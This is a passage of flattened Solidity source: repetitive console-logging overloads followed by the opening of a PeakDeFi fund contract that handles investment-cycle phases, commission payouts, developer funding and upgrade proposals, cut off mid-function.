_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } pragma solidity 0.5.17; import "./PeakDeFiStorage.sol"; contract PeakDeFiLogic3 is PeakDeFiStorage, Utils(address(0), address(0), address(0)) { /** * @notice Passes if the fund has not finalized the next smart contract to upgrade to */ modifier notReadyForUpgrade { require(hasFinalizedNextVersion == false); _; } /** * @notice Executes function only during the given cycle phase. * @param phase the cycle phase during which the function may be called */ modifier during(CyclePhase phase) { require(cyclePhase == phase); if (cyclePhase == CyclePhase.Intermission) { require(isInitialized); } _; } /** * Next phase transition handler * @notice Moves the fund to the next phase in the investment cycle. */ function nextPhase() public nonReentrant { require( now >= startTimeOfCyclePhase.add(phaseLengths[uint256(cyclePhase)]) ); if (isInitialized == false) { // first cycle of this smart contract deployment // check whether ready for starting cycle isInitialized = true; require(proxyAddr != address(0)); // has initialized proxy require(proxy.peakdefiFundAddress() == address(this)); // upgrade complete require(hasInitializedTokenListings); // has initialized token listings // execute initialization function __init(); require( previousVersion == address(0) || (previousVersion != address(0) && getBalance(usdc, address(this)) > 0) ); // has transfered assets from previous version } else { // normal phase changing if (cyclePhase == CyclePhase.Intermission) { require(hasFinalizedNextVersion == false); // Shouldn't progress to next phase if upgrading // Update total funds at management phase's beginning totalFundsAtManagePhaseStart = totalFundsInUSDC; // reset number of managers onboarded managersOnboardedThisCycle = 0; } else if (cyclePhase == CyclePhase.Manage) { // Burn any RepToken left in PeakDeFiFund's account require( cToken.destroyTokens( address(this), cToken.balanceOf(address(this)) ) ); // Pay out commissions and fees uint256 profit = 0; uint256 usdcBalanceAtManagePhaseStart = totalFundsAtManagePhaseStart.add(totalCommissionLeft); if ( getBalance(usdc, address(this)) > usdcBalanceAtManagePhaseStart ) { profit = getBalance(usdc, address(this)).sub( usdcBalanceAtManagePhaseStart ); } totalFundsInUSDC = getBalance(usdc, address(this)) .sub(totalCommissionLeft) .sub(peakReferralTotalCommissionLeft); // Calculate manager commissions uint256 commissionThisCycle = COMMISSION_RATE .mul(profit) .add(ASSET_FEE_RATE.mul(totalFundsInUSDC)) .div(PRECISION); _totalCommissionOfCycle[cycleNumber] = totalCommissionOfCycle( cycleNumber ) .add(commissionThisCycle); // account for penalties totalCommissionLeft = totalCommissionLeft.add( commissionThisCycle ); // Calculate referrer commissions uint256 peakReferralCommissionThisCycle = PEAK_COMMISSION_RATE .mul(profit) .mul(peakReferralToken.totalSupply()) .div(sToken.totalSupply()) .div(PRECISION); _peakReferralTotalCommissionOfCycle[cycleNumber] = peakReferralTotalCommissionOfCycle( cycleNumber ) .add(peakReferralCommissionThisCycle); peakReferralTotalCommissionLeft = peakReferralTotalCommissionLeft .add(peakReferralCommissionThisCycle); totalFundsInUSDC = getBalance(usdc, address(this)) .sub(totalCommissionLeft) .sub(peakReferralTotalCommissionLeft); // Give the developer PeakDeFi shares inflation funding uint256 devFunding = devFundingRate .mul(sToken.totalSupply()) .div(PRECISION); require(sToken.generateTokens(devFundingAccount, devFunding)); // Emit event emit TotalCommissionPaid( cycleNumber, totalCommissionOfCycle(cycleNumber) ); emit PeakReferralTotalCommissionPaid( cycleNumber, peakReferralTotalCommissionOfCycle(cycleNumber) ); _managePhaseEndBlock[cycleNumber] = block.number; // Clear/update upgrade related data if (nextVersion == address(this)) { // The developer proposed a candidate, but the managers decide to not upgrade at all // Reset upgrade process delete nextVersion; delete hasFinalizedNextVersion; } if (nextVersion != address(0)) { hasFinalizedNextVersion = true; emit FinalizedNextVersion(cycleNumber, nextVersion); } // Start new cycle cycleNumber = cycleNumber.add(1); } cyclePhase = CyclePhase(addmod(uint256(cyclePhase), 1, 2)); } startTimeOfCyclePhase = now; // Reward caller if they're a manager if (cToken.balanceOf(msg.sender) > 0) { require(cToken.generateTokens(msg.sender, NEXT_PHASE_REWARD)); } emit ChangedPhase( cycleNumber, uint256(cyclePhase), now, totalFundsInUSDC ); } /** * @notice Initializes several important variables after smart contract upgrade */ function __init() internal { _managePhaseEndBlock[cycleNumber.sub(1)] = block.number; // load values from previous version totalCommissionLeft = previousVersion == address(0) ? 0 : PeakDeFiStorage(previousVersion).totalCommissionLeft(); totalFundsInUSDC = getBalance(usdc, address(this)).sub( totalCommissionLeft ); } /** * Upgrading functions */ /** * @notice Allows the developer to propose a candidate smart contract for the fund to upgrade to. * The developer may change the candidate during the Intermission phase. * @param _candidate the address of the candidate smart contract * @return True if successfully changed candidate, false otherwise. */ function developerInitiateUpgrade(address payable _candidate) public onlyOwner notReadyForUpgrade during(CyclePhase.Intermission) nonReentrant returns (bool _success) { if (_candidate == address(0) || _candidate == address(this)) { return false; } nextVersion = _candidate; emit DeveloperInitiatedUpgrade(cycleNumber, _candidate); return true; } /** Commission functions */ /** * @notice Returns the commission balance of `_manager` * @return the commission balance and the received penalty, denoted in USDC */ function commissionBalanceOf(address _manager) public view returns (uint256 _commission, uint256 _penalty) { if (lastCommissionRedemption(_manager) >= cycleNumber) { return (0, 0); } uint256 cycle = lastCommissionRedemption(_manager) > 0 ? lastCommissionRedemption(_manager) : 1; uint256 cycleCommission; uint256 cyclePenalty; for (; cycle < cycleNumber; cycle++) { (cycleCommission, cyclePenalty) = commissionOfAt(_manager, cycle); _commission = _commission.add(cycleCommission); _penalty = _penalty.add(cyclePenalty); } } /** * @notice Returns the commission amount received by `_manager` in the `_cycle`th cycle * @return the commission amount and the received penalty, denoted in USDC */ function commissionOfAt(address _manager, uint256 _cycle) public view returns (uint256 _commission, uint256 _penalty) { if (hasRedeemedCommissionForCycle(_manager, _cycle)) { return (0, 0); } // take risk into account uint256 baseRepTokenBalance = cToken.balanceOfAt( _manager, managePhaseEndBlock(_cycle.sub(1)) ); uint256 baseStake = baseRepTokenBalance == 0 ? baseRiskStakeFallback(_manager) : baseRepTokenBalance; if (baseRepTokenBalance == 0 && baseRiskStakeFallback(_manager) == 0) { return (0, 0); } uint256 riskTakenProportion = riskTakenInCycle(_manager, _cycle) .mul(PRECISION) .div(baseStake.mul(MIN_RISK_TIME)); // risk / threshold riskTakenProportion = riskTakenProportion > PRECISION ? PRECISION : riskTakenProportion; // max proportion is 1 uint256 fullCommission = totalCommissionOfCycle(_cycle) .mul(cToken.balanceOfAt(_manager, managePhaseEndBlock(_cycle))) .div(cToken.totalSupplyAt(managePhaseEndBlock(_cycle))); _commission = 